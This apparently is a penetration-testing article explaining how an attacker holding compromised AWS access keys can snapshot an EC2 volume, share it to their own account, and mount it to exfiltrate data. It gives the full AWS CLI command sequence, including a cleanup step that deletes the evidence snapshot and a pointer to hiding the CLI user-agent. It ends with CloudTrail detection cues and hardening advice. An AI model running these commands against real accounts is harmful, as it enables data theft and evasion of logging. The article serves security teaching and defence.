As Cloud infrastructure has become common, it has also become common for penetration testers to find themselves attacking clients that rely on e.g. AWS or Azure environments for handling, storing, and processing critical data.

There are many new and interesting attack paths an adversary can take once they have obtained some sort of access to the environment. For AWS, this is a short indicative list:

  • Pivoting via Roles and Policies.
  • Modifying Lambda functions.
  • Modifying CloudWatch logs.
  • Exfiltrating database backups.
  • Exfiltrating EC2 images and snapshots.

This article will focus on how to exfiltrate an EC2 (EBS) snapshot once an AWS CLI/API access key has been compromised. In AWS-speak, a snapshot is the backup of the contents of an EC2 instance.

Types of access

Broadly speaking, there are three types of credential that provide access to an AWS environment:

  • AWS Management Console (Web portal) email and password.
  • AWS CLI/API access keys.
  • Resource/Application specific credentials such as SSH private keys, usernames and passwords, or client-side certificates.

Security controls

Traditional security controls such as IP Whitelisting, MFA, and account lockout after subsequent login failures are supported to varying degrees, require hacks, and in some cases are outright not advised by the Cloud provider.

For example, account lockout after subsequent failed login attempts is not currently supported by AWS. Yes, adversaries can brute force their way into the AWS Management Console, assuming no MFA is implemented. One quick fix for this is to create a Lambda function that works off the back of CloudTrail logs – these logs however are not generated and processed in real time.

Another example is IP Whitelisting, both to the AWS Management Console and to the CLI/API access. Currently there is no easy and ubiquitous way of enforcing this. AWS provides a guide that helps towards this (https://aws.amazon.com/premiumsupport/knowledge-center/iam-restrict-calls-ip-addresses/) but within the same document the following note highlights its immaturity:


Due to the issues listed above, it is not uncommon for an attacker to be in a position to bypass the majority of the perimeter controls via the AWS CLI interface. This means that even if a developer needs to jump through multiple security gateways in order to access a private EC2 instance, by using AWS CLI an adversary can obtain direct access to its data.

Exfiltrating EC2 images and snapshots

In order to exfiltrate the desired EC2 data, the following steps need to be taken:

  1. Using the compromised credentials, we will create an EC2 snapshot from the desired EBS volume.
  2. Modify the permissions of the newly created snapshot so that it can be shared with our own AWS account.
  3. Using our own AWS account, create a new EBS volume from the shared snapshot.
  4. Attach the EBS volume to our EC2 instance and download its contents for analysis.

We will take advantage of the EBS snapshot sharing functionality of AWS. Specifically, use the modify-snapshot-attribute of AWS CLI and the --create-volume-permission option which will allow us to share it with another AWS account.

In order for the above to work, there are two conditions that need to be met:

  1. The compromised access keys need to have the necessary EC2 permissions to describe-volumes and create-snapshot.
  2. Your EC2 instance is within the same Region as the target.

Manual exfiltration via the CLI

The following commands utilise two credential profiles: victim, which contains the compromised AWS keys, and attacker, which contains our own credentials.

A note on permissions: AWS permissions can be complex to understand at first; there are many ways of granting an IAM user permissions, and unfortunately there is not single “show-permissions” command that will respond with all explicit and inherited permissions a user has. How AWS permissions, roles, policies, and groups work is outside the scope of this article. The following commands can be used, however, to navigate your way through the AWS permission maze:

aws iam list-groups-for-user --user-name
aws iam list-attached-group-policies --group-name
aws iam list-group-policies --group-name
aws iam list-attached-user-policies --user-name
aws iam list-user-policies --user-name

Identify

The first step is to list all the available EC2 instances and identify the EBS volumes that are attached to it:

aws ec2 describe-instances --profile victim --region us-east-1

This will output something similar to this:

Create and Share

The next step is to create a snapshot from the EBS volume that was identified previously. Before that, however, we need to know our own Account ID so that we can give access to it. A quick way of performing this is via the sts get-caller-identity command:

aws sts get-caller-identity --profile attacker


To create the snapshot, we will issue the following command:

aws ec2 create-snapshot --volume-id vol-0ffdb5642fa255c81 --profile victim --region us-east-1


Depending on the size of the volume, creation of a snapshot can take a few seconds or minutes to complete. The following command will query its state:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1


Once the snapshot creation process finishes, we proceed to grant “read” permissions to the attacker. Before we do that, lets see what happens when the attacker tries to query the snapshot:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1


As expected, the attacker doesn’t yet have the appropriate permissions.

We address this by utilising the modify-snapshot-attribute command in conjunction with the attacker’s ID:

aws ec2 modify-snapshot-attribute --snapshot-id snap-0e39b84cde6992a01 --attribute createVolumePermission --operation-type add --user-ids [REDACTED] --profile victim --region us-east-1

The above command doesn’t give any output, but if we run the describe-snapshots command as the attacker we can verify that we can now access it:

Exfiltrate

Now that we have access to the target snapshot, we need to spin up an EC2 instance, create a new EBS volume using the target snapshot, and then attach that volume to the EC2 instance.

We need to know the InstanceId and in which availability zone it resides. Both can be found by issuing the describe-instances command, or by quickly checking the AWS Console.

aws ec2 create-volume --size 8 --availability-zone us-east-1b --volume-type gp2 --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1


Using the VolumeId, we attach the volume to our instance:

aws ec2 attach-volume --volume-id vol-02a5525559ea504af --instance-id i-0e930eb839bdf673d --device /dev/xvdf --profile attacker --region us-east-1


We can verify that the volume has been attached by issuing the lsblk command in our EC2 instance:


The final step is to create a directory and then mount the volume:

sudo mkdir /data
sudo mount /dev/xvdf1 /data -t xfs

Note: you can identify the target file-system by issuing:

sudo lsblk --output NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,LABEL

At this point we have successfully mounted our target’s data in our own EC2 instance and we are ready to transfer them away from AWS.

Cleanup

We want to remove the snapshot that we originally created:

aws ec2 delete-snapshot --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Additionally, we want to detach and delete the volume within our own environment:

sudo umount /data
aws ec2 detach-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1
aws ec2 delete-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

Detection and response

The process of creating, sharing, and deleting snapshots leaves a number of log entries, including the following:

CreateSnapshot and DeleteSnapshot events can be very frequent in medium-to-large scale AWS deployments with automated backup processes. However, the ModifySnapshotAttribute is more interesting:


The sourceIPAddress is the IP address from where the attacker issued the AWS CLI command. The userAgent, as you can see, also includes the hostname from where the AWS CLI command was issued. @thesubtlety has written an interesting post on how to overcome this: https://www.thesubtlety.com/post/patching-boto3-useragent/

The most likely IOC here is the createVolumePermission entry, where it also identifies who this snapshot was shared with.

Having said that, AWS Logs operate on an approximate 15 minute delay. That means it can take up to 15 minutes for an AWS CLI command to appear in CloudTrail.

Recommendations

  • Deny the ec2:CreateVolumePermission action in all groups, roles, and users. It is unlikely that this will be required in most environments.
  • If the ec2:CreateVolumePermission action is required to satisfy business requirements, create a CloudWatch alert that goes off when the volume is shared with a non-whitelisted userId.
  • Key rotation should be implemented in all access keys, with more frequent rotation for highly-privileged principals.
  • Employ a granular permission policy based on the need to know principle.
  • Enforce MFA both to the management console and to the AWS CLI/API.

Conclusion

In this article we have shown how an adversary who has compromised a set of AWS access keys can bypass firewalls, private VPCs and bastion hosts, and directly exfiltrate the contents of an EC2 instance without needing logical access to the host itself nor requiring the root’s SSH keys.

There are many variations of this technique, including modifying the permissions of an S3 bucket that the snapshots reside in.

It comes to no surprise that traditional security principles such as defence in depth, key rotation, and granular access controls can help minimise the risk of an AWS environment data breach.